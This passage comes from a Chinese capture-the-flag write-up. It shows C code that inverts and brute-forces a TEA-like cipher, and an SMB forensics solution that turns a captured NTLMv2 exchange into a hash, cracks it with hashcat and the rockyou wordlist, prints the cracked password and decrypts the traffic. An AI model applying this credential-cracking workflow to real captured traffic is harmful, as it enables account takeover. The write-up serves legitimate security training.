26px;"><span leaf="">// 迭代求解（通常收敛很快）</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> iter = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; iter &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">; iter++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> b = ((x &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ sum_val ^ (x &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> x_new = a_current - b;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 检查是否收敛</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (x_new == x) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">            x = x_new;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        a_current = x;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> a_current;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 暴力破解版本（针对小范围）</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">brute_force_decrypt</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> mi[] = {</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xdea5d6e9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9384ae5b</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2fb88b3b</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0378255e</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33d33ef7</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x217a011c</span></span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;开始暴力破解...\n&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 由于是32位，完全暴力需要43亿次，太慢</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 这里只搜索可打印ASCII的范围</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> idx = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; idx &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">; idx++) {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\n尝试解密密文 %d: 0x%08x\n&#34;</span></span><span leaf="">, idx, mi[idx]);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> found = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 只搜索可打印ASCII字符的组合</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> c1 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">; c1 &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf=""> &amp;&amp; !found; c1++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> c2 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">; c2 &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf=""> &amp;&amp; !found; c2++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> c3 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">; c3 &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf=""> &amp;&amp; !found; c3++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> c4 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">; c4 &lt;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf=""> &amp;&amp; !found; c4++) {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 构建小端序的32位值</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> plain = (c4 &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">) | (c3 &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) | (c2 &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) | c1;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uint32_t</span></span><span leaf=""> encrypted = encrypt_forward(plain);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (encrypted == mi[idx]) {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;  找到! 明文: 0x%08x = &#39;%c%c%c%c&#39;\n&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                                   plain, c4, c3, c2, c1);</span><span leaf=""><br/></span><span leaf="">                            found = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">                        }</span><span leaf=""><br/></span><span leaf="">                    }</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (c1 % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x10</span></span><span leaf=""> == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;  进度: %.1f%%\n&#34;</span></span><span leaf="">, (c1 - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">100.0</span></span><span leaf=""> / (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7E</span></span><span leaf=""> - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x20</span></span><span leaf="">));</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!found) {</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;  未找到可打印ASCII解\n&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 可选：暴力破解（只搜索可打印字符）</span></span><span leaf=""><br/></span><span leaf="">     brute_force_decrypt();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5826771653543307" data-type="png" data-w="762" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030136" src="https://wechat2rss.xlab.app/img-proxy/?k=d37ee87c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgF55k7KuMTUcDpgxUMByoBR51mecicTciclnXwJGd9OQ9F9plCNkP8nHpw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">flag{Fl0weRTeAVM15E3s9!}</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Misc:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">SMB</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">NTLMv2认证</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5018518518518519" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030137" src="https://wechat2rss.xlab.app/img-proxy/?k=11e0d972&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFYUPyKL7PL1GwuhqI8ngnBibSpcdsfVfl1o5JrAgrAS01BIpTL29oNUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">列出认证信息，整理成hash</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">User name: rockyou</span><span leaf=""><br/></span><span leaf="">Domain name: PC</span><span leaf=""><br/></span><span leaf="">NTLM Server Challenge: 5649f6b5969a9fbf</span><span leaf=""><br/></span><span leaf="">NTproofstring + modifiedntlmv2response: f8cb9296a5206484b1baf6bce47abe3b0101000000000000f68d75c3fb59dc01ba30ab51dc5395c3000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800f68d75c3fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000</span><span leaf=""><br/></span><span leaf="">NTProofStr: f8cb9296a5206484b1baf6bce47abe3b</span><span leaf=""><br/></span><span leaf="">username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response</span><span leaf=""><br/></span><span leaf="">rockyou::PC:5649f6b5969a9fbf:f8cb9296a5206484b1baf6bce47abe3b:0101000000000000f68d75c3fb59dc01ba30ab51dc5395c3000000000200160046004c00410047002d005300450052005600450052000100160046004c00410047002d005300450052005600450052000400160046004c00410047002d005300450052005600450052000300160046004c00410047002d0053004500520056004500520007000800f68d75c3fb59dc0106000400020000000800300030000000000000000100000000200000c06bb8a56b86b084ba3cfc2b7e5a0eaef96088346e865b0c93bdd8b4de440ff70a001000000000000000000000000000000000000900200063006900660073002f0046004c00410047002d005300450052005600450052000000000000000000</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">hashcat爆破拿到密钥：12megankirwin12</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.13148148148148148" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030134" src="https://wechat2rss.xlab.app/img-proxy/?k=5f0a79ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFszwRV9HQeFGBXW5RQKu8xWZ0uXjjYqLQPepTxic3jB693Ye1aax1Kibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">写入wireshark中解密流量</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.23148148148148148" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030133" src="https://wechat2rss.xlab.app/img-proxy/?k=ddd8eecd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFC3RkRyahIibvUJgoicf8ZhxWWOU8o9yk1SAu5icB0wwtD6qfVEhyVtPibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">导出smb对象</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.225" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030138" src="https://wechat2rss.xlab.app/img-proxy/?k=9fc82164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFDnzPWxC7HupNkfmTET1Vxh5ZxXgF1802dU0aSVcLdygwowRZx0E8jQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">明文攻击解zip</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.30642023346303504" data-type="png" data-w="1028" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030139" src="https://wechat2rss.xlab.app/img-proxy/?k=914902ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFC1kxU2aAld0iaL4qJPPEtBtrxraj1b9vXPFkUF5s8mDYVkFrHpfXfSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.1287037037037037" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030140" src="https://wechat2rss.xlab.app/img-proxy/?k=29f02063&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFLBJJjJy8a6c1eSKibsIjc4YcLbMtwMISzQd2bcC27lpt676W6kVZlKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">逆向letter.exe，密文</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.20185185185185187" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030141" src="https://wechat2rss.xlab.app/img-proxy/?k=3bb0f6ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFYmpErLDv9uU4v0U5lDA5zM9tmgCHSsOgibwFZrlDYCiahFEpHebeSOpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">xor 0x42</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.45555555555555555" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030142" src="https://wechat2rss.xlab.app/img-proxy/?k=cbac5a9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFCYat8BPtYdibEDvjdiayIJ6k4s1y0rgVtR9WITicW6sbDKCyPVUibVsJXg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100030146" data-ratio="0.6407407407407407" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 